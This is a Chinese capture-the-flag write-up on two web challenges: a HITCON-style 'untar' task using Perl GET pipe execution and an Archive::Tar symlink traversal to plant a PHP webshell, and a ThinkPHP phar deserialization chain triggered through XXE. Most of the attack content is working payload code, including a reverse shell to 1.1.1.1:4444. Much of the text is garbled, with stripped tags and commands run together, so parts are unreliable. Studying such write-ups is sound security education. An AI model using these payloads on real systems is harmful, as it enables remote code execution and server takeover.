服务热线
15527777548/18696195380
发布时间:2019-12-02
简要描述:
原创: L's 合天智汇前言通过这两次比赛把自己学到的东西总结一下,不过由于名次掉的太快就没有进入决赛。大家自己体验一波。0x01 untar题目给了源码:sandbox/2aeae26864f775d...
原创: L's 合天智汇
通过这两次比赛把自己学到的东西总结一下,不过由于名次掉的太快就没有进入决赛。
大家自己体验一波。
题目给了源码:
sandbox/2aeae26864f775d4cad75f15a6c95d97?php $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]); echo $sandbox."/br>"; @mkdir($sandbox); @chdir($sandbox); if (isset($_GET["url"]) $url = str_replace("|", "", $_GET["url"]); $data = shell_exec("GET " . escapeshellarg($url)); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); shell_exec("UNTAR ".escapeshellarg(basename($info["basename"]))); highlight_file(__FILE__);
于是去搜索了一波。
原题是HITCON 2017,这段代码先通过XFF判断用户的ip,建立沙盒,并且通过GET传入url和filename两个参数,通过filename建立新的目录以及文件名,通过url进行shell_exec的GET命令执行,最终把执行结果放在新生成的目录下的文件名。
里面有几个关键的函数我们先来了解一下。
首先来研究一下pathinfo函数以及basename函数的机制。
下面是pathinfo的测试代码:
?php$path="/var/www/html/shell.php";$info=pathinfo($path);print $info["dirname"];echo "br>";print $info["basename"];echo "br>";print $info["extension"];
结果如下:
/var/www/htmlshell.phpphp
basename()函数返回路径中的文件名部分,如下测试代码:
?php$path="/var/www/html/shell.php";print basename($path);echo "br>";print basename($path,".php");echo "br>";
运行的结果如下:
shell.phpshell
代码对于要建立的目录都会两边basename,如下代码:
?php$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir = str_replace(".", "", basename($info["dirname"]));echo $dir;echo "br>";echo $info["dirname"]; //$cecho "br>";echo basename($info['basename']);
测试的地址参数:
http://localhost/test/demo2.php?url=/肯定为a的,此时的目录为当前目录,再次用basename返回路径中的文件名肯定为空。如果a/xxx/,$c和$dir返回的都是a,解释一下原因:第一次返回的basename为a其实相当于./a,那么第二次再用basename返回的文件名肯定也是a。理解了之后题目就比较好做了。escapeshellarg与escapeshellcmd函数
escapeshellarg
1. 确保用户只能传递一个参数给命令。
2. 用户不能指定更多的参数一个。
3. 用户不能执行不同的命令。
就好比是我传入的ls,那么经过函数的操作后就变成了'ls'。同时会对传入的单引号进行一些安全处理,例如传入l's就会变成'l'\''s'。
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
他的作用是将一些危险的符号进行转义,如:
print FD>;root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl ./demo.pluid=0(root) gid=0(root) groups=0(root),999(docker)从这段命令我们可以看出来perl中的open的作用。同时open是支持file协议的。
The library supports GET and HEAD methods for file requests. The"If-Modified-Since" header is supported. All other headers areignored. The Ihost> component of the file URL must be empty or setto "localhost". Any other Ihost> value will be treated as an error.Directories are always converted to an HTML document. For normalfiles, the "Content-Type" and "Content-Encoding" in the response areguessed based on the file suffix.Example: $req = HTTP::Request->new(GET => 'file:/etc/passwd');尝试一下file协议读取GEt 'file:/etc/passwd'或者GET '/etc/passwd',都可以成功读取文件内容。下面可以执行系统命令。
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl ls|root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# GET 'file:ls|'通过以上命令成功执行,这里需要注意的是要有存在的文件名才能成功执行命令,所以新建了一个ls|文件。
orange的原题我们可以建立执行的文件名,再通过file协议去执行就可以了。
首先先看一下目录。
通过Payload url=/
搜索发现https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834。这是一个perl的目录穿梭漏洞。
这个是比较详细的介绍http://knqyf263.hatenablog.com/entry/2018/06/27/181037
上面会把文件解压到当前的文件夹中。
如下实验:
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ln -s /tmp/moo mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl ls| mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat EOF> foo> #!/bin/sh> echo foo> EOFroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl foo ls| mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar zcvf b.tar.gz * --transform='s/foo/moo/g'demo.plfools|mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar -tvvf b.tar.gz-rw-r--r-- root/root 28 2019-11-11 18:18 demo.pl-rw-r--r-- root/root 19 2019-11-12 11:36 moo-rw-r--r-- root/root 0 2019-11-11 18:28 ls|lrwxrwxrwx root/root 0 2019-11-12 11:36 moo -> /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls /tmp/mools: cannot access '/tmp/moo': No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz demo.pl foo ls| mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'Making symbolic link '/root/perl_file/moo' to '/tmp/moo' failed at -e line 1.root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moo#!/bin/shecho fooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz demo.pl foo ls| mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# rm -rf /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moocat: /tmp/moo: No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file#
因此可以这样构造:
ln -s /var/www/html/sandbox/wen.php wentar -cf b.tar wenrm wenecho '?php echo system("/readflag");'>wentar -rf b.tar wen
同时我们还可以使用这个来归档为同名文件
tar zcvf b.tar.gz * --transform='s/{你的文件名}{软连接}'
然后通过访问包含我们的b.tar
http://183.129.189.62:17507/?url=http://123.57.232.69:8302/php_file/b.tar?phpnamespace think\process\pipes { class Windows { private $files; public function __construct($files){ $this->files = array($files); } }} namespace think\model\concern { trait Conversion { protected $append = array("Smi1e" => "1"); } trait Attribute { private $data; private $withAttr = array("Smi1e" => "system"); public function get($system){ $this->data = array("Smi1e" => "$system"); } }}namespace think { abstract class Model { use model\concern\Attribute; use model\concern\Conversion; }} namespace think\model{ use think\Model; class Pivot extends Model{ public function __construct($system){ $this->get($system); } }} namespace { $Conver = new think\model\Pivot("sleep 100"); $payload = new think\process\pipes\Windows($Conver); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($payload); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); echo urlencode(serialize($payload));}?>
我们配合phar://反序列化进行rce。
POST /postXML HTTP/1.1Host: 47.105.78.102User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: application/xml, text/xml, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/xml;charset=utf-8X-Requested-With: XMLHttpRequestContent-Length: 227Connection: closeReferer: http://47.105.78.102/ticketCookie: PHPSESSID=lhps1inapcge7mumnt07jrqn82 ?xml version="1.0"?>!DOCTYPE GVI [!ENTITY xxe SYSTEM "phar:///tmp/uploads/21232f297a57a5a743894a0e4a801fc3/20191110/acfeb10ed83aad76c0c2249ce7e93996.xml" >]>ticket>username>/username>code>1111111/code>/ticket>
将sleep 100改成bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>?php$descriptorspec = array( 0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据 1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据 2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件); $cwd = '/tmp';$env = array('some_option' => 'aeiou'); $process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { // $pipes 现在看起来是这样的: // 0 => 可以向子进程标准输入写入的句柄 // 1 => 可以从子进程标准输出读取的句柄 // 错误输出将被追加到文件 /tmp/error-output.txt //fwrite($pipes[0], ''); //fclose($pipes[0]); $output1 = fread($pipes[1],1024); var_dump($output); $output2 = fread($pipes[1],1024); var_dump($output); $output3 = fread($pipes[1],1024); var_dump($output); $calc = trim($output2); $an = eval("return $calc;"); var_dump($an); fwrite($pipes[0], (string)$an."\n"); $output = stream_get_contents($pipes[1]); var_dump($output); // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。 $return_value = proc_close($process); echo "command returned $return_value\n";}?>
运行的结果:
参考链接
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
如果您有任何问题,请跟我们联系!
联系我们